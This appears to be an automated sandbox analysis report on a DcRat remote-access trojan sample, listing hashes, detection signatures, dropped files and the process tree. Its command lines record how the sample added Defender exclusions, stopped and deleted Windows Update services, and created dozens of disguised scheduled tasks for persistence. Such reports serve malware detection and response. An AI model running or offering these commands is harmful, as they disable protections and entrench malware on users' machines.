dcrat | 7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033

Analysis

max time kernel
19s
max time network
25s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
23-03-2023 04:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe
Size

10.0MB
MD5

718c1a4f0cdacf94d4d6ad97e06a459f
SHA1

f7ea9a4f39e415c15ef563ecd4f381013e52d3a7
SHA256

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033
SHA512

8a3d55db0a4eae644922895e140269f22f8214af875bf3544255bcc1be6b1de9a1274b1dd41cc4ac5826a9ac5e1d8d216994891dc124c01ba722db214652f80e
SSDEEP

196608:2JJ8G/X6v9189c+HzrMyU59NSOWQqA00aWOj/AoDvVq:2JJTCv8cEnMrrNSOhLPOj/Pv

Score

10^/10

dcrat evasion infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 51 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1064	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1824	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4464	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1180	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2216	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1136	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4660	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3856	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1680	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	980	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3728	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2356	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2204	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4820	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2572	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1792	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4576	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4960	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3912	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1572	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1424	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1208	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4700	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2236	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4564	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2420	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1952	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3216	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3936	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3136	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4648	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3436	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3720	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3724	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1380	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4484	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3748	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3492	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3548	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2228	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3460	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2008	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1192	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1728	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1924	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3564	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2288	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3592	2692	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4544	2692	schtasks.exe

DCRat payload 7 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
behavioral2/memory/2172-135-0x0000000000400000-0x00000000015D9000-memory.dmp	dcrat
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe	dcrat
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe	dcrat
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe	dcrat
behavioral2/memory/2172-166-0x0000000000400000-0x00000000015D9000-memory.dmp	dcrat
behavioral2/memory/4420-163-0x0000000000FB0000-0x000000000115E000-memory.dmp	dcrat
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe	dcrat

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

bl_fontreviewmonitordllrefsvc.exe7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	bl_fontreviewmonitordllrefsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

Executes dropped EXE 4 IoCs

Processes:

bl_fontreviewmonitordllrefsvc.execonhost_8.exeMASTER 8BP.exebl_fontreviewmonitordllrefsvc.exe

pid process

4420 bl_fontreviewmonitordllrefsvc.exe
3880 conhost_8.exe
3564 MASTER 8BP.exe
4412 bl_fontreviewmonitordllrefsvc.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

pid process

2172 7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

pid	process
4420	bl_fontreviewmonitordllrefsvc.exe
3880	conhost_8.exe
3564	MASTER 8BP.exe
4412	bl_fontreviewmonitordllrefsvc.exe

pid	process
2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

Drops file in Program Files directory 11 IoCs

Processes:

bl_fontreviewmonitordllrefsvc.exebl_fontreviewmonitordllrefsvc.exe

description	ioc	process
File created	C:\Program Files (x86)\Common Files\e1ef82546f0b02	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files\Internet Explorer\fr-FR\wininit.exe	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files\Internet Explorer\fr-FR\56085415360792	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\sppsvc.exe	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\0a1fd5f707cd16	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Common Files\Services\Registry.exe	bl_fontreviewmonitordllrefsvc.exe
File opened for modification	C:\Program Files (x86)\Common Files\Services\Registry.exe	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Common Files\Services\ee2ad38f3d4382	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Common Files\SppExtComObj.exe	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Internet Explorer\lsass.exe	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Internet Explorer\6203df4a6bafc7	bl_fontreviewmonitordllrefsvc.exe

Drops file in Windows directory 6 IoCs

Processes:

bl_fontreviewmonitordllrefsvc.exe

description	ioc	process
File created	C:\Windows\Tasks\5940a34987c991	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\WaaS\services\SearchApp.exe	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\Cursors\unsecapp.exe	bl_fontreviewmonitordllrefsvc.exe
File opened for modification	C:\Windows\Cursors\unsecapp.exe	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\Cursors\29c1c3cc0f7685	bl_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\Tasks\dllhost.exe	bl_fontreviewmonitordllrefsvc.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

2436 sc.exe
656 sc.exe
1924 sc.exe
1988 sc.exe
4084 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2436	sc.exe
656	sc.exe
1924	sc.exe
1988	sc.exe
4084	sc.exe

Creates scheduled task(s) 1 TTPs 51 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
1208	schtasks.exe
4564	schtasks.exe
3936	schtasks.exe
3748	schtasks.exe
1064	schtasks.exe
1136	schtasks.exe
4660	schtasks.exe
1988	schtasks.exe
3460	schtasks.exe
1192	schtasks.exe
2356	schtasks.exe
2572	schtasks.exe
4576	schtasks.exe
1380	schtasks.exe
3724	schtasks.exe
4484	schtasks.exe
1924	schtasks.exe
4464	schtasks.exe
2204	schtasks.exe
4820	schtasks.exe
2420	schtasks.exe
3436	schtasks.exe
3720	schtasks.exe
2288	schtasks.exe
1180	schtasks.exe
3856	schtasks.exe
3912	schtasks.exe
1572	schtasks.exe
3492	schtasks.exe
3548	schtasks.exe
1728	schtasks.exe
1824	schtasks.exe
1680	schtasks.exe
4960	schtasks.exe
2236	schtasks.exe
3592	schtasks.exe
1952	schtasks.exe
1988	schtasks.exe
2228	schtasks.exe
3564	schtasks.exe
2216	schtasks.exe
3728	schtasks.exe
4544	schtasks.exe
3216	schtasks.exe
3136	schtasks.exe
4648	schtasks.exe
2008	schtasks.exe
980	schtasks.exe
1792	schtasks.exe
1424	schtasks.exe
4700	schtasks.exe

Modifies registry class 1 IoCs

Processes:

bl_fontreviewmonitordllrefsvc.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	bl_fontreviewmonitordllrefsvc.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

MASTER 8BP.exebl_fontreviewmonitordllrefsvc.exepowershell.exebl_fontreviewmonitordllrefsvc.exe

pid	process
3564	MASTER 8BP.exe
3564	MASTER 8BP.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4420	bl_fontreviewmonitordllrefsvc.exe
4888	powershell.exe
4888	powershell.exe
4412	bl_fontreviewmonitordllrefsvc.exe
4412	bl_fontreviewmonitordllrefsvc.exe
4412	bl_fontreviewmonitordllrefsvc.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

bl_fontreviewmonitordllrefsvc.exepowershell.exebl_fontreviewmonitordllrefsvc.exe

description	pid	process
Token: SeDebugPrivilege	4420	bl_fontreviewmonitordllrefsvc.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	4412	bl_fontreviewmonitordllrefsvc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

pid process

2172 7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

pid	process
2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exebl_fontreviewmonitordllrefsvc.execmd.exe

description	pid	process	target process
PID 2172 wrote to memory of 4420	2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	bl_fontreviewmonitordllrefsvc.exe
PID 2172 wrote to memory of 4420	2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	bl_fontreviewmonitordllrefsvc.exe
PID 2172 wrote to memory of 3880	2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	conhost_8.exe
PID 2172 wrote to memory of 3880	2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	conhost_8.exe
PID 2172 wrote to memory of 3564	2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	MASTER 8BP.exe
PID 2172 wrote to memory of 3564	2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	MASTER 8BP.exe
PID 2172 wrote to memory of 3564	2172	7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe	MASTER 8BP.exe
PID 4420 wrote to memory of 4888	4420	bl_fontreviewmonitordllrefsvc.exe	powershell.exe
PID 4420 wrote to memory of 4888	4420	bl_fontreviewmonitordllrefsvc.exe	powershell.exe
PID 4420 wrote to memory of 1288	4420	bl_fontreviewmonitordllrefsvc.exe	cmd.exe
PID 4420 wrote to memory of 1288	4420	bl_fontreviewmonitordllrefsvc.exe	cmd.exe
PID 1288 wrote to memory of 4996	1288	cmd.exe	w32tm.exe
PID 1288 wrote to memory of 4996	1288	cmd.exe	w32tm.exe
PID 1288 wrote to memory of 4412	1288	cmd.exe	bl_fontreviewmonitordllrefsvc.exe
PID 1288 wrote to memory of 4412	1288	cmd.exe	bl_fontreviewmonitordllrefsvc.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe
"C:\Users\Admin\AppData\Local\Temp\7afbf498fc56475c7960c67595374fc5d84235b381ac1193bd4ebefa3ed0e033.exe"
1⤵
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2172

C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
"C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4888

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\j0bjkvmJgN.bat"
3⤵
- Suspicious use of WriteProcessMemory
PID:1288

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
4⤵
PID:4996

C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
"C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe"
4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\'
5⤵
PID:4160

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\KDHlmafhvp.bat"
5⤵
PID:2424

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
6⤵
PID:4940

C:\Users\Admin\AppData\Roaming\conhost_8.exe
"C:\Users\Admin\AppData\Roaming\conhost_8.exe"
2⤵
- Executes dropped EXE
PID:3880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
3⤵
PID:3320

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:5016

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1988

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:4084

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:2436

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:656

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:1924

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
4⤵
PID:3564

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
4⤵
PID:4008

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
4⤵
PID:3592

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
4⤵
PID:5000

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
PID:880

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
PID:3136

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
PID:4588

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
PID:4700

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
PID:3228

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
PID:2664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#svswkfzf#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Realtek' /tr '''C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek" /t REG_SZ /f /d 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe' }
3⤵
PID:1868

C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe
"C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3564

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 7 /tr "'C:\Windows\Cursors\unsecapp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Windows\Cursors\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 6 /tr "'C:\Windows\Cursors\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Windows\Tasks\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1180

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\Tasks\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Windows\Tasks\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\odt\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\odt\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\odt\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Common Files\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Common Files\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default User\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\odt\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\odt\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 6 /tr "'C:\odt\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Program Files\Internet Explorer\fr-FR\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\fr-FR\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Program Files\Internet Explorer\fr-FR\wininit.exe'" /rl HIGHEST /f
